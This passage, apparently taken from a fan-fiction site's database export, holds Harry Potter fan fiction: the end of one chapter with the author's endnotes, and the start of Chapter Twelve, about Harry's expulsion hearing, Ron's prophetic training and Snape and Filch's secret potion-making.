lot right now,&#8221; Ginny replied.&nbsp; &#8220;I even wonder whether he and Penny will even make it to the altar.&#8221;</p>\n\n<p>&#8220;Why is that?&#8221; Hermione asked.</p>\n\n<p>&#8220;They can&#8217;t seem to agree on anything.&nbsp; Penny told me how he keeps trying to nix things she wants in the wedding.&nbsp; He seems to think everything is too expensive and too ornate,&#8221; Ginny said shaking her head.&nbsp; &#8220;He doesn&#8217;t realize that Penny has probably been planning her wedding for years before she even met him.&#8221;</p>\n\n<p>Harry and Ron rolled their eyes at that.</p>\n\n<p>&#8220;<i>Well it&#8217;s true</i>,&#8221; Ginny said.&nbsp; &#8220;I can&#8217;t tell you the number of girls I know that can describe in detail their dream wedding.&nbsp; Percy doesn&#8217;t understand that.&nbsp; If he keeps knocking all her plans down, I don&#8217;t know if there will be any future for them.&#8221;</p>\n\n<p>&#8220;What about the <i>other thing</i> that was talked about after the funeral,&#8221; Harry asked quietly.</p>\n\n<p>&#8220;Dad and Percy are still not really talking to each other,&#8221; Ron said.&nbsp; &#8220;Percy still clings to the idea that it&#8217;s not the Dark Lord who threatened Dad.&nbsp; He would give anything if Dad would recant and say that it was Sirius Black who was trying to recruit him.&nbsp; Until then, they are talking past each other and not to each other.&nbsp; At least Percy moved out in January, so we didn&#8217;t have to hear them argue.&nbsp; We only had to hear them have parallel discussions the few times that Percy showed up.&#8221;</p>\n\n<p>*</p>\n\n<p>The next day brought an extraordinary number of owls delivering mail.&nbsp; Almost half of the Gryffindors received similar parchments.&nbsp; Harry was not surprised to then have a thick letter dropped in front of his place at the dining table.</p>\n\n<blockquote><i>Dear Mr. Potter:</i></blockquote>\n\n<blockquote><i>As you are probably aware by now, there has been a formal complaint filed regarding your performing magic outside of school in violation of the Decree for the Reasonable Restriction of Underage Sorcery, 1875, Paragraph C.&nbsp; Accordingly, the Board of Governors shall endeavor to ascertain all the circumstances regarding this event to determine whether expulsion is warranted.&nbsp; Given your unique stature in the Wizarding World as well as the severity of the alleged crime, it is imperative that there is no doubt in the public&#8217;s eye of our decision.</i></blockquote>\n\n<blockquote><i>The Board of Governors has convened and settled upon the following schedule for this case.&nbsp; We are requesting a statement from all those in attendance as to their perceptions of what happened that day.&nbsp; We will require that you submit your own statement as to what transpired that day and the reasons for your actions. These statements are due in our office by April 25<sup>th</sup>.&nbsp;&nbsp; If you have any supplemental testimony from others who were not in attendance at the funeral, it should also be submitted by that date.</i></blockquote>\n\n<blockquote><i>You will subsequently receive copies of all the statements (lacking personal identifiers, of course) by May 2<sup>nd</sup>.&nbsp; You will be allowed to provide written rebuttals to these statements up until June 3<sup>rd</sup>.&nbsp; Then you will be given time to prepare your oral testimony which will be made before the full Board of Governors on June 24<sup>th</sup>.&nbsp; You will be permitted to speak for ten minutes.&nbsp; Others who wish to speak at this hearing will be allotted three minutes to state their position.&nbsp; Should you find any need to respond to any of the verbal statements of the witnesses, five minutes at the end will be reserved for you.&nbsp; Our final decision on this matter will be made before you return home on the Hogwarts Express.</i></blockquote>\n\n<blockquote><i>Sincerely,</i></blockquote>\n\n<p><i>Albert Albini, Chairman of the Board of Governors, </i><st1:place><st1:placename><i>Hogwarts</i></st1:placename><i>\n\n</i><st1:placetype><i>School</i></st1:placetype></st1:place><i> of Witchcraft and Wizardry</i></p>\n\n<p>Harry looked up to see that Hermione had been watching him.</p>\n\n<p>&#8220;It looks like everyone that went to the funeral is going to have to provide testimony,&#8221; she said.&nbsp; &#8220;How would they know who all attended?&#8221;</p>\n\n<p>&#8220;We had a quill that was bewitched to keep track of our guest registry,&#8221; Ron said.&nbsp; &#8220;I&#8217;m sure they just used that list to write these letters.&#8221;</p>\n\n<p>&#8220;Let me see your letter Harry,&#8221; Hermione said as she and Ron started pouring over its contents.</p>\n\n<p>&#8220;I thought Fudge considered this to be an &#8216;emergency.&#8217;&nbsp; It doesn&#8217;t seem like the Governors are treating it that way,&#8221; Ron said.</p>\n\n<p>&#8220;It looks like they&#8217;re trying to be fair.&nbsp; Or at least <i>appear</i> to be fair.&nbsp; That settles it, I&#8217;m going home over the Easter holidays,&#8221; Hermione announced.</p>\n\n<p>&#8220;Why is that?&#8221; Harry asked.</p>\n\n<p>&#8220;I&#8217;ll need to scour the Muggle libraries and bookstores for law books for laymen.&nbsp; We&#8217;ll need that in order to work on developing a legal strategy as well as the rebuttals and your verbal testimony.&nbsp; I plan on helping you mount the most vigorous defence possible,&#8221; she said with her eyes flashing.&nbsp; &#8220;I tried with Buckbeak, but failed.&nbsp; I&#8217;m <i>not</i> going to fail this time.&#8221;</p>\n\n<p>&#8220;Why are you going to use Muggle law books?&#8221; Ron asked.&nbsp; &#8220;This is the Wizarding World.&#8221;</p>\n\n<p>&#8220;Because the principles of logic and justice should be universal,&#8221; she said matter-of-factly.&nbsp; &#8220;I know exactly what books are in this library and when it comes to books about justice&#8230;this library and probably the Wizarding World are sorely lacking.&nbsp; When I think back to the &#8216;trials&#8217; that Harry told us about from Dumbledore&#8217;s Pensieve, I really wonder what the Wizarding justice system is predicated on, because it doesn&#8217;t seem to be based on truth or logic.&nbsp; Instead I&#8217;m going to depend on the world of my birth and hope that I can find something that will help us devise a winning strategy for Harry.&#8221;</p>\n\n<p>Harry looked at her and saw the determination in her face.&nbsp; He was grateful that he had someone like her on his side.&nbsp; He knew that his educational future and possibly his very life depended on winning this case.&nbsp; He wasn&#8217;t even sure where to begin, but he knew that with Hermione on the case he had a chance.&nbsp; This was going to be a difficult struggle especially when he considered that people such as Minister Fudge were against him.&nbsp; </p>\n\n<p>&#8220;Thank you,&#8221; he said.&nbsp; &#8220;I think I&#8217;ll need all the help I can get.&nbsp; With you in my corner, I may just win.&#8221;</p>\n\n<p>&#8220;We will.&nbsp; We have to,&#8221; Hermione said firmly.&nbsp; </p>\n\n<p><i>&nbsp;</i></p>\n\n<p>*</p>\n\n<p>Harry had written his first draft of his statement after Dumbledore had instructed him to do so.&nbsp; Since then, he was hesitant to revisit it until Hermione had done some of her promised legal research.&nbsp; In the meantime, they still had their regular classes and schoolwork.&nbsp; Harry had been wondering how the first day back in Divinations would be for Ron.&nbsp; He considered that maybe it would just be another ordinary day of hearing Trelawney speak with a misty voice about the Fates and that nothing much new would be covered.&nbsp; He was wrong.&nbsp; Trelawney was lying in wait for Ronald Weasley.</p>\n\n<p>As Ron and Harry entered the classroom, Trelawney glided over to Ron and ushered him over to sit on a pouf next to her beside the fire.</p>\n\n<p>&#8220;You know now, don&#8217;t you?&#8221; she asked.</p>\n\n<p>He nodded.</p>\n\n<p>&#8220;Have you accepted your Destiny?&nbsp; It is a lonely life, that of the clairvoyant.&nbsp; But you my child are no simple Seer.&nbsp; You are destined to be a great Prophet,&#8221; Trelawney said breathlessly.&nbsp; &#8220;I can teach you many things, but you must be willing to accept your powers.&#8221;</p>\n\n<p>&#8220;How come I only recently started showing any talent?&#8221; Ron asked.</p>\n\n<p>&#8220;Oh, you have shown sparks of it in the past.&nbsp; But you have been holding yourself back with your own scepticism.&nbsp; It is also not uncommon for clairvoyant ability to manifest itself upon puberty and also great stresses in life.&#8221;&nbsp; Trelawney looked him closely in the eyes.&nbsp; &#8220;Tell me Mr. Weasley, <i>have you accepted</i>\n\n<i>your Destiny?</i>&#8221;</p>\n\n<p>&#8220;Yes,&#8221; he said hesitantly.</p>\n\n<p>&#8220;You have formidable powers and the potential to be great, but only if you leave your doubts behind.&nbsp; And you Mr. Potter,&#8221; she said looking at Harry, &#8220;must also abandon your doubts.&nbsp; For you too have the Sight.&nbsp; It pales in comparison to Mr. Weasley, but both of you have been reluctant to accept your abilities.&nbsp; Instead you think that you are skating by in this class by making things up.&nbsp; Your intuitions are far greater than you realize.&#8221;</p>\n\n<p>Harry gulped at that.&nbsp; All these years he and Ron had laughed as they did their Divination homework thinking that they were writing outlandish predictions, which they thought could never come true.&nbsp; Now he started remembering some of those they had come up with.&nbsp; Burns, threats of drowning, stabbed in the back by a friend, and an unexpected windfall of money.&nbsp; All those had come to pass during the Triwizard tournament.</p>\n\n<p>&#8220;Mr. Potter and Mr. Weasley, your futures, your destinies are inextricably linked.&nbsp; You must help each other accept this fact and work together, for your own sake and that of the Wizarding World.&#8221;</p>\n\n<p>Harry got a strange unsettled feeling in his stomach.&nbsp; He looked at Ron and saw that he actually appeared calm.&nbsp; It seemed that he had finally come to the realization that his fate was to read the Signs and to predict the future.&nbsp; Harry then thought of the Mirror of Erised and how Dumbledore said that Ron desperately wanted to step out from the shadows of his older brothers.&nbsp; Being a Prophet would certainly distinguish himself from all of his brothers, it just wasn&#8217;t exactly the way that Ron had envisioned it coming to pass.</p>\n\n<p>*</p>\n\n<p>A week later Harry once again found himself worrying about his possible expulsion.&nbsp; After hours of tossing, turning and listening to snores and the incessant croaking of Trevor, he found himself sitting on the window seat gazing at the night sky.&nbsp; There was a full moon and everything was bathed in its shimmery glow.&nbsp; As he stared outside, movement out of the corner of his eye caught his attention.&nbsp; Two figures were entering the greenhouses.&nbsp; <i>What were they doing there at this time of night?</i> He wondered.&nbsp;&nbsp; One figure appeared to be picking herbs and was placing them into a basket.&nbsp; When the figures left the greenhouses, Harry saw that there was a skinny cat with them.&nbsp; They had hoods obscuring their faces, but as they walked towards the castle, Harry finally recognized them due to their gaits.&nbsp; One had a confident prowl while the other had a hunched back and planted his feet heavily on the ground.&nbsp; It was Snape, Filch and Mrs. Norris.</p>\n\n<p>***</p>\n\n<p>Copious Endnotes.&nbsp; This was the most difficult chapter for me to write, but I wanted to introduce David in the most dramatic way possible.&nbsp; Having Ron see a tombstone of an unknown dead brother was the Biggest Bang I could come up with.&nbsp; Because I really do think Ron will be a Seventh Son and that there is a slightly obscured alphabetic naming scheme with the Weasleys.&nbsp; That&#8217;s my careful scrutinizing of canon.&nbsp; It&#8217;s also probably my only truly original theory of what JK Rowling might have up her sleeve.&nbsp; Some of the other ideas that I&#8217;ve woven into this story were inspired by discussions on the HP for Grown Ups list serv, too many to mention or even remember.</p>\n\n<p>So I&#8217;m wondering&#8230;how many of you picked up on all the Death Omens that were in chapter 8?&nbsp; The thirteen sitting at dinner, Ron&#8217;s vision for Charlie, plus the added aspect of Sirius being outside.&nbsp; One of the reviewers on Schnoogle (Padfoot1979) has a signature line that I love:&nbsp; &#8220;Sometimes a big black dog, is just a dog. Other times, it\'s a death omen.&nbsp; Feeling lucky?&#8221;</p>\n\n<p>I&#8217;d like to thank the following readers for reviewing my writing:&nbsp; Batgirl, darkstar, kinicky21, MostEvilKitten, nelli_08, SamanthaMarie, and XxKkAnGxX.</p>\n\n<p>SamanthaMarie wondered if I had any experience with overly jealous boyfriends.&nbsp; Not firsthand, thank you very much.&nbsp; I was actually trying to show the hallmarks of abusive relationships, such as the possessiveness, controlling and isolation that occur.&nbsp; I didn&#8217;t want Hermione to be a &#8216;victim&#8217; so I didn&#8217;t let this get very far, but wanted to at least hint where it could have gone if she didn&#8217;t call things off.&nbsp; Her sleeping all day long was a small symptom of depression.&nbsp; Thankfully, Harry intervened on her behalf.&nbsp; As for where I came up with ideas regarding the house-elf rebellion that comes from personal experience.&nbsp; I have been a political activist for over a decade, and what Hermione was doing is an old technique called &#8220;Consciousness Raising.&#8221;&nbsp; I figure that should be a good starting place to help these magical beings recognize that they have been given a raw deal.&nbsp; I also am drawing on my own experiences as an activist in trying to steer Hermione&#8217;s nascent political campaign to something that I think would be more productive.&nbsp; If you haven&#8217;t guessed, the house-elf subplot is one of my favourite parts of the HP series.&nbsp; I hope that JKR doesn&#8217;t abandon that subplot and make it seem like a silly passing interest of Hermione&#8217;s, but instead makes it an integral part of the next three books.&nbsp; I actually had to resist the temptation to do more on this subject than I have written.&nbsp; Ama, one of my betas kept insisting I do more with it, but if I had followed her suggestions it would have altered my plotline significantly.&nbsp; (She also wants Norbert to come back and save the day somehow.&nbsp; Well, that&#8217;s because she thinks dragons are terribly misunderstood creatures.&nbsp; Sorry, Ama.&nbsp; It just doesn&#8217;t fit in my story.)&nbsp; </p>\n\n<p>Batgirl asked whether or not the teachers knew anything more about Krum than the reader.&nbsp; No.&nbsp; I think you misinterpreted what I wrote.&nbsp; They looked at him suspiciously only after he treated Hermione in a doll-like fashion and gave her a far too expensive of a gift.&nbsp; They didn&#8217;t look at him badly before this.&nbsp; She also wondered what the reference to &#8220;the pier&#8221; meant.&nbsp; I had responded to the question by a reader of when the H/Hr ship was going to set sail in the endnotes portion of a previous chapter by saying that &#8220;Harry is only now getting directions as to where to find the coastline. It&#8217;ll be a bit before he even finds the pier, let alone the ship.&#8221;&nbsp; And well, he&#8217;s found the pier but he&#8217;s too afraid to step on board yet.&nbsp; It&#8217;ll take awhile for him to get over his fear, so just sit back and enjoy the rest of the ride and let the anticipation build.&nbsp; After all, in matters of the heart - timing is everything.</p>\n\n<p>Assorted other things:&nbsp; the Muggle reporter named Craig Pallas was actually a thinly veiled homage to one of my favourite journalists &#8211; Greg Palast.&nbsp; </p>\n\n<p>The inept move that Ron did with Parvati was inspired by an interview with Dustin Hoffman on &#8220;The Graduate&#8221; DVD where he told of doing that type of thing when he was in junior high school.&nbsp; He had been so inept that he wound up touching a girl&#8217;s cheek instead of her breast.&nbsp; She knew exactly what he had tried to do and she openly laughed at his botched attempt to grope her.&nbsp; Director Mike Nichols tried to get Dustin to bring that type of fumbling behaviour into the scene with Benjamin&#8217;s first sexual encounter with Mrs. Robinson.</p>\n\n<p>And &#8220;Bulstrode the Barge&#8221; is the name of a character from &#8220;Thomas the Tank Engine.&#8221;&nbsp; I figured out a way to slip that joke in and so I went for it.&nbsp; I will go a long way for a joke, mind you. </p>\n\n<p>Stay tuned, coming soon my second Dark Secret will be revealed:&nbsp; Chapter Twelve &#8211; Mrs. Norris, where you&#8217;ll learn all about this mysterious feline.&nbsp; I promise that there are some plot twists that will be unexpected.&nbsp; </p> '),
	(260, 12, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Author&#8217;s note:&nbsp; I&#8217;d like to thank Cara Hicks, Ama and Daniel Jackson author of &#8220;Harry Potter and the Time of Shadows&#8221; (on Schnoogle.com) for beta reading this chapter.&nbsp; </p>\n\n<p>Rating:&nbsp; R &#8211; for adult themes and sexual intimacy</p>\n\n<p>Chapter Twelve &#8211; Mrs. Norris</p>\n\n<p>The next morning Harry quietly related to Ron and Hermione the <st1:time minute="0" hour="0">midnight</st1:time> prowling he saw in the greenhouses.</p>\n\n<p>&#8220;What would Filch be doing in the greenhouses at that time of night?&#8221; Ron asked.</p>\n\n<p>&#8220;It&#8217;s possible he needed some herbs, but I wonder why he didn&#8217;t get them from Professor Sprout instead of sneaking around at night,&#8221; Harry said.</p>\n\n<p>&#8220;Maybe she wouldn&#8217;t give them to him,&#8221; Ron suggested.</p>\n\n<p>&#8220;But then why would Snape help him steal from the greenhouses?&#8221; Harry asked.&nbsp; &#8220;I remember how upset he was last year when Crouch broke into his private stores and stole some ingredients.&#8221;</p>\n\n<p>&#8220;You two are forgetting that this was during the full moon,&#8221; Hermione said.&nbsp; &#8220;They might have been picking something at that time in order to get the full magical potential.&nbsp; I&#8217;m sure that Professor Sprout gave her approval for Snape to be there.&nbsp; He <i>is</i> the Potions Master.&nbsp; I&#8217;m wondering about Filch though.&nbsp; Why would both of them have to go?&#8221;</p>\n\n<p>&#8220;Do you think that this might have anything to do with Mrs. Norris?&#8221; Ron asked.</p>\n\n<p>&#8220;Probably, but if they need ingredients for a restorative potion for her, why didn&#8217;t Snape just get them himself?&nbsp; Why drag Filch along?&#8221; Hermione asked again.</p>\n\n<p>They all shook their heads and turned towards the head table.&nbsp; Snape seemed to sense that he was being stared at.&nbsp; He looked directly at them and sneered.&nbsp; </p>\n\n<p>&#8220;What <i>is it</i> with him?&#8221; Harry muttered under his breath. </p>\n\n<p>*</p>\n\n<p>Over the Easter holiday very few people stayed at the castle, but the Weasley children all decided to be with Harry.&nbsp; None of them seemed interested in going back to the Burrow so soon, especially after being home a few weeks earlier for a bereavement leave.&nbsp; </p>\n\n<p>Harry tried to put the pending expulsion hearing out of his mind by using this time for expanded Quidditch practices with the four Weasley siblings.&nbsp; Ron helped Harry practice by throwing golf balls into the air for him to catch.&nbsp; In return, Harry and Ginny would practice passing and trying to score with the Quaffle against Ron as Keeper.&nbsp; To their surprise, neither Harry nor Ginny could ever score.&nbsp; Both of them shrugged it off as luck at first, but after several days it was clear that there was more going on than Ron was admitting.&nbsp; He was invincible.&nbsp; Harry finally asked him one day after they had showered the question that had been bugging him.&nbsp; </p>\n\n<p>&#8220;Ron, what gives?&nbsp; What did you do to improve your game like that?&#8221; </p>\n\n<p>&#8220;Trelawney,&#8221; he said smiling.&nbsp; &#8220;She&#8217;s been giving me private instruction and I&#8217;ve been working on reading other people&#8217;s minds.&#8221;</p>\n\n<p><i>&#8220;You what?&#8221;</i> said Harry dumbfounded.&nbsp; That was the last answer he had expected.</p>\n\n<p>&#8220;I just started and I&#8217;m still not very good at it yet.&nbsp; I can tell when a Chaser plans their move.&nbsp; They almost scream the thought of which hoop they are planning on shooting for.&#8221;</p>\n\n<p>&#8220;Have you ever read my mind?&#8221; Harry asked worriedly.</p>\n\n<p>&#8220;Only on the field,&#8221; Ron said sounding disappointed.&nbsp; &#8220;I can only read simple thoughts.&nbsp; If there&#8217;s any complexity to it &#8211; I can&#8217;t do it yet.&nbsp; And you seem to have very guarded thoughts.&nbsp; More than most people.&#8221;</p>\n\n<p>Harry thought of the number of secrets he had been keeping from Ron and Hermione.&nbsp; &#8220;Guarded thoughts&#8221; was an appropriate assessment.</p>\n\n<p>&#8220;So, umm, you can&#8217;t read Hermione&#8217;s thoughts can you?&#8221;</p>\n\n<p>&#8220;Uh, no,&#8221; Ron snorted, &#8220;I don&#8217;t think she&#8217;s had an uncomplicated thought since she was about two years old.&#8221;</p>\n\n<p>Harry inwardly smiled at that.&nbsp; It&#8217;s true he thought that Hermione was a complex young woman.&nbsp;&nbsp; He also didn&#8217;t feel comfortable with the idea that Ron might become privy to anyone&#8217;s innermost thoughts, dreams, and desires.&nbsp; It was just a bit too intrusive for comfort.</p>\n\n<p>&#8220;I don&#8217;t think I want to play chess with you ever again.&nbsp; And I don&#8217;t think Dean has any chance now to suit up for our last match,&#8221; Harry said.</p>\n\n<p>&#8220;Yeah, poor Dean,&#8221; Ron said grinning.&nbsp; &#8220;But you know, we&#8217;re all magical people so using more of my own natural talents can&#8217;t be cheating.&nbsp; Can it?&#8221;</p>\n\n<p>&#8220;I don&#8217;t think so, especially if no one knows,&#8221; said Harry.&nbsp; &#8220;I mean, I&#8217;m feeling uncomfortable knowing that you&#8217;re trying to read my mind.&nbsp; I don&#8217;t think you&#8217;d be very popular around here if it became widely known that you&#8217;re trying to do that with everyone.&#8221;</p>\n\n<p>&#8220;That&#8217;s what Trelawney says.&nbsp; You&#8217;re the only person I&#8217;ve told.&nbsp; And that&#8217;s only because you asked me about my recent improvements on the field.&#8221;</p>\n\n<p>&#8220;Well, if anyone else asks, just tell them that you&#8217;ve been practicing really hard,&#8221; Harry suggested.&nbsp; &#8220;What else is she teaching you?&#8221;</p>\n\n<p>Ron merely smiled.&nbsp; &#8220;Mmm, lots of stuff.&nbsp; She knows so much more than we gave her credit for.&nbsp; She dabbles a lot and I&#8217;m really learning.&nbsp; It&#8217;s really changed for me since I&#8217;ve accepted my Destiny.&#8221;</p>\n\n<p>&#8220;Just don&#8217;t start talking all misty on us,&#8221; Harry smirked.</p>\n\n<p>*</p>\n\n<p>Harry was anxious to see Hermione come back from the Easter holidays.&nbsp; Before she left she had hugged him goodbye and whispered in his ear, &#8220;Try not to worry too much.&nbsp; I&#8217;ll scour the libraries and bookstores to find some legal help for you.&nbsp; And you know how I&#8217;m like a Niffler when it comes to books.&#8221;</p>\n\n<p>The day the students were due back on the Hogwarts Express, Harry found himself pacing around impatiently.&nbsp; He couldn&#8217;t wait to hear what Hermione had uncovered.&nbsp; As he looked at his watch and knew they should be arriving shortly, he went down to the common room to wait.&nbsp; Ginny was already there and sitting on the couch.</p>\n\n<p>&#8220;Harry, can you come over here?&nbsp; I wanted to talk with you.&#8221;</p>\n\n<p>&#8220;Sure,&#8221; he said as he sat down in a corner of the couch.</p>\n\n<p>Ginny moved closer to him.&nbsp; She was leaning on the couch with one arm behind him, sitting on one hip and brought her legs up to rest on the couch.&nbsp; </p>\n\n<p>&#8220;I&#8217;ve been meaning to tell you just how grateful I am to you.&nbsp; The day of the funeral I was such a jumble of emotions and when those snakes suddenly appeared &#8211; I just froze with fear.&nbsp; It was too much like my first year when&#8230;,&#8221; her voice trailed off.</p>\n\n<p>Harry nodded.&nbsp; They had never really talked about the Chamber of Secrets, Tom Riddle and what Ginny had told the diary.</p>\n\n<p>&#8220;I know you didn&#8217;t turn those flowers into serpents.&nbsp; I can&#8217;t believe that anyone would think that about you.&nbsp; I feel terrible that you are now in trouble because of that.&nbsp; It&#8217;s just not fair.&nbsp; You were only trying to protect me.&#8221;</p>\n\n<p>That&#8217;s true, he thought.&nbsp; He was trying to protect her, yet he would have done the same thing if snakes had been heading towards Fred or George or anyone.&nbsp; He looked at Ginny, she really was kind of pretty he observed.&nbsp; </p>\n\n<p>Harry had never really paid that much notice to her before because he had always felt embarrassed by the attention she paid to him.&nbsp; His first day of school she had practically squealed with delight when she heard that Fred and George had met him.&nbsp; She wanted to go on the train to meet a celebrity, but not the skinny little lost boy she had seen only minutes earlier.&nbsp; By the time he saw her the next year at the Burrow he knew that she had been fantasizing about Harry &#8220;The Boy Who Lived&#8221; Potter for almost a year.&nbsp; Between Ron&#8217;s letters home and their mum&#8217;s knitting a Christmas present for him, Ginny had to have heard a lot about him.&nbsp; She had to have dreamed about meeting him.&nbsp; Then when he came to her house the next summer after being rescued by her brothers, he was transformed from an invincible hero into a pitiable orphan starved by nasty relations.</p>\n\n<p>Harry knew that Ginny had idolized him even before Tom Riddle told him that she had spent countless diary entries detailing her feelings for him.&nbsp; Then he wound up saving her life and becoming her Saviour.&nbsp; He knew that she was in love with him, but he was afraid that she was only in love with the Legend and not the person.&nbsp; This is what made him feel uncomfortable, because he felt that it would be impossible to live up to her expectations.&nbsp; And yet&#8230;this past year they had spent a lot of time playing Quidditch together.&nbsp; He then thought that maybe he hadn&#8217;t been very fair with her.&nbsp; After all, Harry had crushed on Cho without knowing much about her other than she was cute, shorter than he was and liked Quidditch.&nbsp; Maybe Ginny&#8217;s adoration of him was becoming based on knowing him as a person and not just as a larger than life figure.&nbsp; As he looked into her brown eyes, he saw a longing in them.&nbsp; He could do worse than having Ginny Weasley as a girlfriend, he thought.</p>\n\n<p>&#8220;I heard that Hermione is helping you with your hearing,&#8221; Ginny said, &#8220;with her on your side, I&#8217;m sure you&#8217;ll be fine.&#8221;</p>\n\n<p>&#8220;I hope so,&#8221; he said weakly.</p>\n\n<p>&#8220;Thank you for saving me, Harry,&#8221; she whispered as she reached over and kissed him warmly on the cheek.</p>\n\n<p>Harry thought about turning his face a few inches &#8211; their lips would meet.&nbsp; <i>What harm would that do? </i>He wondered.&nbsp; Then he thought of the day of Charlie&#8217;s funeral when they embraced in public.&nbsp; Could that have been the reason why she was targeted for attack?&nbsp; She had already been put in harm&#8217;s way twice because of him.&nbsp; If she became his girlfriend, there was no telling the danger she would be put in.</p>\n\n<p>Just then loud voices were heard coming through the portrait hole.&nbsp; The students were now back from the Easter holidays and the common room was soon going to be overrun with them.&nbsp; Harry stood up quickly and saw Hermione as she was lifting her trunk through the entryway.</p>\n\n<p>&#8220;Here, let me help you with that,&#8221; Harry said as he grabbed the trunk and practiced levitating it towards the girls&#8217; dormitory.</p>\n\n<p>&#8220;Thanks,&#8221; Hermione said.&nbsp; &#8220;Oh Harry, I found <i>so many</i> different kinds of books on law out there.&nbsp; The difficult part was trying to find the ones that would be useful.&nbsp; I found books on tenant-landlord disputes, do-it-yourself divorces, employment law, sexual harassment law, domestic violence, copyright, estate and will planning.&nbsp; I even saw a book on dog law.&nbsp; I wound up picking up a legal dictionary and a basic legal guide for laymen.&nbsp; This is really fascinating stuff.&nbsp; I&#8217;m beginning to think that I should go into law as a career.&#8221;</p>\n\n<p>&#8220;You&#8217;d be great at that,&#8221; Harry said as the trunk bumped its way up the stairs.</p>\n\n<p>&#8220;Thanks,&#8221; she said as she opened the door.&nbsp; &#8220;Oh did you see the other day in the paper that Fudge hired goblins to guard Azkaban?&nbsp; I guess he&#8217;s getting ready for more prisoners.&nbsp; I wonder if the goblins are going to have dragons help them guard the fortress like they do at Gringotts.&#8221;</p>\n\n<p>&#8220;I don&#8217;t think so,&#8221; said Harry.&nbsp; &#8220;It&#8217;s only a tiny island after all.&nbsp; There&#8217;s not much room for dragons, besides they could fly away.&nbsp; Now Blast-Ended Skrewts on the other hand&#8230;&#8221;</p>\n\n<p>&#8220;Don&#8217;t even bring up those horrible creatures,&#8221; Hermione said laughing.&nbsp; &#8220;At least we&#8217;re only worried about you being expelled.&nbsp; It&#8217;s not like we have to worry about you being sent to Azkaban.&#8221;</p>\n\n<p>&#8220;At least for now,&#8221; said Harry as he dropped the trunk off at the foot of her bed.</p>\n\n<p>&#8220;Stop saying things like that,&#8221; said Hermione, &#8220;we need to think positively.&nbsp; Oh and here are a few suggestions I made regarding your statement after doing some preliminary research.&#8221;</p>\n\n<p>She reached into her trunk and brought out the sheet of parchment that Harry had given her.&nbsp; As he took it from her, he saw that it was now practically bleeding with red ink.</p>\n\n<p>&#8220;Of course, these are only suggestions,&#8221; she said.&nbsp; &#8220;We&#8217;ll have to go over it word for word to make sure that everything is true.&nbsp; After all, it is your testimony.&#8221;</p>\n\n<p>He nodded and sighed heavily.&nbsp; This whole hearing process was beginning to seem like an impossible mountain to climb.</p>\n\n<p>*</p>\n\n<p>Later that week as they were eating dinner, Harry noticed that Hermione&#8217;s necklace was missing.&nbsp; </p>\n\n<p>&#8220;Hermione, what happened to your locket?&#8221; Harry asked.</p>\n\n<p>She reflexively reached around her neck, &#8220;It&#8217;s gone!&nbsp; The chain must have broken.&nbsp; Do you remember when you saw it on me last?&#8221; she asked.</p>\n\n<p>&#8220;I thought you had it on in Potions,&#8221; he replied.</p>\n\n<p>&#8220;I&#8217;ll be right back!&#8221; she cried as she dashed from the dining table.</p>\n\n<p>About ten minutes later Hermione came back to the table with a strange expression on her face.</p>\n\n<p>&#8220;Did you find it?&#8221; Harry asked.</p>\n\n<p>&#8220;Yeah, I got it,&#8221; she said absentmindedly.&nbsp; &#8220;Ron, can Squibs make potions?&#8221; </p>\n\n<p>&#8220;I dunno.&nbsp; Why do you ask?&#8221; responded Ron.</p>\n\n<p>&#8220;I mean, could a Muggle follow the formula for a potion like it was a simple cookbook recipe if they had all the ingredients?&nbsp; Or do you need magic behind potion making in order for it to work?&#8221; she asked.</p>\n\n<p>&#8220;What happened?&#8221; Ron asked.</p>\n\n<p>&#8220;When I went back to the dungeons to get my locket, I saw Filch in there.&nbsp; Snape was directing him on how to make a potion.&#8221;</p>\n\n<p>&#8220;Did they see you?&#8221; asked Ron.</p>\n\n<p>&#8220;No, I was very quiet and just summoned it.&nbsp; They were in the front of the classroom and I don&#8217;t think they heard or saw me.&#8221;</p>\n\n<p>&#8220;But even if Filch <i>could</i> make a potion and if Snape were helping him with it &#8211; don&#8217;t you think it would be easier for Snape to just make the potion himself?&#8221; Harry mused.&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sure that it would be faster.&nbsp; And he wouldn&#8217;t have to worry about any accidents, like melting cauldrons.&#8221;</p>\n\n<p>Ron and Hermione just shook their heads in puzzlement.</p>\n\n<p>&#8220;Oh there&#8217;s something I forgot to tell you Harry,&#8221; Ron said.&nbsp; &#8220;I got a letter from my mum.&nbsp; Percy isn&#8217;t going to submit any testimony regarding the funeral to the Board of Governors.&nbsp; He said that he was recusing himself.&nbsp; He was afraid that there might be a perceived conflict of interest on his part.&#8221;</p>\n\n<p>&#8220;I think he&#8217;s afraid of contradicting his boss,&#8221; Harry replied.</p>\n\n<p>&#8220;Yeah, that&#8217;s what I think,&#8221; said Ron bitterly.&nbsp; &#8220;He wouldn&#8217;t want to upset Fudge.&nbsp; To hell with telling the truth.&#8221;</p>\n\n<p>&#8220;Ron are women allowed to give verbal testimony in Wizarding courts?&#8221; asked Hermione.</p>\n\n<p>Ron seemed puzzled at that, &#8220;Sure.&nbsp; Why wouldn&#8217;t they be?&#8221;</p>\n\n<p>&#8220;I was just wondering.&nbsp; The Wizarding World seems a little behind the Muggle world in some things, so I just wanted to make sure that women had legal standing in Wizard courts.&nbsp; It wasn&#8217;t that long ago, women didn&#8217;t used to have any legal rights of their own and didn&#8217;t have legal standing in a court of law.&nbsp; It was only fairly recently that women were accorded the ability to inherit and control property, enter into legal contracts, et cetera.&nbsp; It was called <i>feme</i><i> covert</i> where once a woman married she became subordinate to her husband and he had all the legal standing.&nbsp; That type of discrimination goes back to antiquity when women couldn&#8217;t <i>test-</i>ify,&#8221; she said with a smug look on her face.</p>\n\n<p>&#8220;What do you mean by that?&#8221; asked Ron.</p>\n\n<p>Hermione giggled and looked like she was holding back something juicy, &#8220;Do you guys know where the word <i>test-</i>ify comes from?&#8221;</p>\n\n<p>Ron and Harry looked at each other and shook their heads.&nbsp; &#8220;No,&#8221; they said together.</p>\n\n<p>&#8220;Spill it,&#8221; Ron urged.</p>\n\n<p>&#8220;Well, in ancient times when men made an oath they didn&#8217;t swear on a Bible or anything like that.&nbsp; Nope.&nbsp; They would swear by their&#8230;&#8221; she paused and made a cupping motion with one hand.</p>\n\n<p>Ron and Harry&#8217;s eyes grew large.</p>\n\n<p>&#8220;They didn&#8217;t&#8230;&#8221; Ron shook his head 